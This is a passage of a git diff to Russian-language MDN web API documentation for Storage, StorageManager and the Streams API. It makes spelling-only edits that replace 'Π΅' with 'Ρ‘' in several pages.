+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅Β <code>localStorage</code>Β Π² ΠΏΠ°ΠΏΠΊΠ΅Β cache, которая пСриодичСски ΠΏΠΎΠ΄Π»Π΅ΠΆΠΈΡ‚ очисткС ΠΏΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΡŽ ОБ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΡ€ΠΈ нСдостаточном количСствС свободного мСста</p>
diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html
index f8ff0d97b5..7accb735a9 100644
--- a/files/ru/web/api/storage/key/index.html
+++ b/files/ru/web/api/storage/key/index.html
@@ -117,7 +117,7 @@ translation_of: Web/API/Storage/key
</table>
</div>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅Β <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅Β <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ localStorage Π² ΠΏΠ°ΠΏΠΊΠ΅ с кэшСм, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ случайно  очищСна по Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΡŽ OS, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это происходит, ΠΊΠΎΠ³Π΄Π° ΠΌΠ°Π»ΠΎ доступного мСста.</p>
diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html
index 559673f403..98f6ea61aa 100644
--- a/files/ru/web/api/storage/length/index.html
+++ b/files/ru/web/api/storage/length/index.html
@@ -111,7 +111,7 @@ translation_of: Web/API/Storage/length
</table>
</div>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ localStorage Π² ΠΏΠ°ΠΏΠΊΠ΅ с кэшСм, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π° случайно ΠΏΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΡŽ OS, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это происходит, ΠΊΠΎΠ³Π΄Π° ΠΌΠ°Π»ΠΎ доступного мСста.</p>
diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html
index 12fbd2c7a4..e0767fa6a8 100644
--- a/files/ru/web/api/storage/removeitem/index.html
+++ b/files/ru/web/api/storage/removeitem/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Storage/removeItem
---
<p>{{APIRef("Web Storage API")}}</p>
-<p>Если ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>removeItem()</code> интСрфСйса {{domxref("Storage")}} ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Ρ‚ΠΎ ΠΈΠ· Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ элСмСнт с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΒ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ.Β </p>
+<p>Если ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>removeItem()</code> интСрфСйса {{domxref("Storage")}} ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡, Ρ‚ΠΎ ΠΈΠ· Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ элСмСнт с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΒ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ.Β </p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -28,7 +28,7 @@ translation_of: Web/API/Storage/removeItem
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаСт Ρ‚Ρ€ΠΈ элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ удаляСт элСмСнт с ΠΊΠ»ΡŽΡ‡ΠΎΠΌ <em>image</em>.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаёт Ρ‚Ρ€ΠΈ элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ удаляСт элСмСнт с ΠΊΠ»ΡŽΡ‡ΠΎΠΌ <em>image</em>.</p>
<pre class="brush: js notranslate">function populateStorage() {
localStorage.setItem('bgcolor', 'red');
diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html
index fe3540e3d6..75eb11453e 100644
--- a/files/ru/web/api/storage/setitem/index.html
+++ b/files/ru/web/api/storage/setitem/index.html
@@ -32,7 +32,7 @@ translation_of: Web/API/Storage/setItem
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаСт Ρ‚Ρ€ΠΈ элСмСнта с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаёт Ρ‚Ρ€ΠΈ элСмСнта с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅.</p>
<pre class="brush: js">function populateStorage() {
localStorage.setItem('bgcolor', 'red');
@@ -119,7 +119,7 @@ translation_of: Web/API/Storage/setItem
</table>
</div>
-<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ объСма для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС объСма Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
+<p>ВсС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±ΡŠΡ‘ΠΌΠ° для localStorage ΠΈΒ sessionStorage. Π—Π΄Π΅ΡΡŒ <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС ΠΎΠ±ΡŠΡ‘ΠΌΠ° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>начиная с вСрсии iOS 5.1, Safari Mobile Ρ…Ρ€Π°Π½ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ localStorage Π² ΠΏΠ°ΠΏΠΊΠ΅ с кэшСм, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π° случайно ΠΏΠΎ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΡŽ OS, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это происходит, ΠΊΠΎΠ³Π΄Π° ΠΌΠ°Π»ΠΎ доступного мСста.</p>
diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html
index c28ba798a3..126c659604 100644
--- a/files/ru/web/api/storagemanager/index.html
+++ b/files/ru/web/api/storagemanager/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/StorageManager
---
<p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p>
-<p><strong><code>StorageManager</code></strong> являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> ΠΈ прСдоставляСт интСрфСйс для управлСния ΠΏΡ€Π°Π²Π°ΠΌΠΈ Π½Π° Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для получСния объСма Π΄Π°Π½Π½Ρ‹Ρ…, доступного для хранСния. Доступ ΠΊ интСрфСйсу ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· {{domxref("navigator.storage")}} ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· {{domxref("WorkerNavigator.storage")}}.</p>
+<p><strong><code>StorageManager</code></strong> являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> ΠΈ прСдоставляСт интСрфСйс для управлСния ΠΏΡ€Π°Π²Π°ΠΌΠΈ Π½Π° Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для получСния ΠΎΠ±ΡŠΡ‘ΠΌΠ° Π΄Π°Π½Π½Ρ‹Ρ…, доступного для хранСния. Доступ ΠΊ интСрфСйсу ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· {{domxref("navigator.storage")}} ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· {{domxref("WorkerNavigator.storage")}}.</p>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html
index 777342b3bd..3ed4fc27ae 100644
--- a/files/ru/web/api/streams_api/index.html
+++ b/files/ru/web/api/streams_api/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/Streams_API
<p>ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Π°Ρ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ Ρ€Π°Π·Π±ΠΈΠ²ΠΊΡƒ рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· ΡΠ΅Ρ‚ΡŒ, Π½Π° ΠΌΠ΅Π»ΠΊΠΈΠ΅ кусочки ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‡Π°ΡΡ‚ΡŒ Π·Π° Ρ‡Π°ΡΡ‚ΡŒΡŽ.Β Π­Ρ‚ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄Π΅Π»Π°ΡŽΡ‚ Π² любом случаС получСния ассСтов, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° страницах β€” Π²ΠΈΠ΄Π΅ΠΎ Π±ΡƒΡ„Π΅Ρ€ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ рСсурсы доступныС для воспроизвСдСния, ΠΈ ΠΈΠ½ΠΎΠ³Π΄Π° это Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ Π½Π° изобраТСниях, Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΡ…ΡΡ частями.</p>
-<p>Но ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с этим ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° ΠΏΡ€Π΅ΠΆΠ΄Π΅Β Π½Π΅ были доступны для JavaScript. РаньшС, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ рСсурса, Π½Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ вСсь Ρ„Π°ΠΉΠ» (Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Π²ΠΈΠ΄Π΅ΠΎ, тСкстовый Ρ„Π°ΠΉΠ» ΠΈ Ρ‚.ΠΏ.), ΠΌΡ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ обязаны ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ, Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠΊΠ° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΌΡƒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ„Π°ΠΉΠ»ΠΎΠΌ послС Π΅Π³ΠΎ ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</p>
+<p>Но ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с этим ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° ΠΏΡ€Π΅ΠΆΠ΄Π΅Β Π½Π΅ были доступны для JavaScript. РаньшС, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ рСсурса, Π½Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ вСсь Ρ„Π°ΠΉΠ» (Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Π²ΠΈΠ΄Π΅ΠΎ, тСкстовый Ρ„Π°ΠΉΠ» ΠΈ Ρ‚.ΠΏ.), ΠΌΡ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ обязаны ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ, Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠΊΠ° ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΌΡƒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ„Π°ΠΉΠ»ΠΎΠΌ послС Π΅Π³ΠΎ ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</p>
<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² доступных Π² JavaScript мСняСтся всС — Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΠΈΡ‚ Π·Π° Π±ΠΈΡ‚ΠΎΠΌ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Π±Π΅Π· нСобходимости Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€, строку ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ Π»ΠΈΠ±ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
@@ -19,7 +19,7 @@ translation_of: Web/API/Streams_API
<p>Но это Π½Π΅ всС прСимущСства — Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Π»ΠΎΠ²ΠΈΡ‚ΡŒ процСссы старта ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΡΠ²ΡΠ·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊΠΈ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ошибки ΠΈΠ»ΠΈ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΠΎΡ‚ΠΎΠΊ считываСтся.</p>
-<p>ОсновноС использованиС ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ создания ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² доступными Π² Π²ΠΈΠ΄Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ². НапримСр, Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° {{domxref("Body")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСно ΠΊΠ°ΠΊ {{domxref("ReadableStream")}}, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€ΠΈΠ΄Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{domxref("ReadableStream.getReader()")}}, ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("ReadableStream.cancel()")}}, ΠΈ Ρ‚ΠΏ.</p>
+<p>ОсновноС использованиС ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ создания ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² доступными Π² Π²ΠΈΠ΄Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ². НапримСр, Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° {{domxref("Body")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСно ΠΊΠ°ΠΊ {{domxref("ReadableStream")}}, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€ΠΈΠ΄Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{domxref("ReadableStream.getReader()")}}, ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("ReadableStream.cancel()")}}, ΠΈ Ρ‚ΠΏ.</p>
<p>Π‘ΠΎΠ»Π΅Π΅ слоТныС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π·Π°Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ созданиС Π²Π°ΡˆΠΈΡ… собствСнных  ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>.</p>
@@ -46,11 +46,11 @@ translation_of: Web/API/Streams_API
<dl>
<dt>{{domxref("WritableStream")}}</dt>
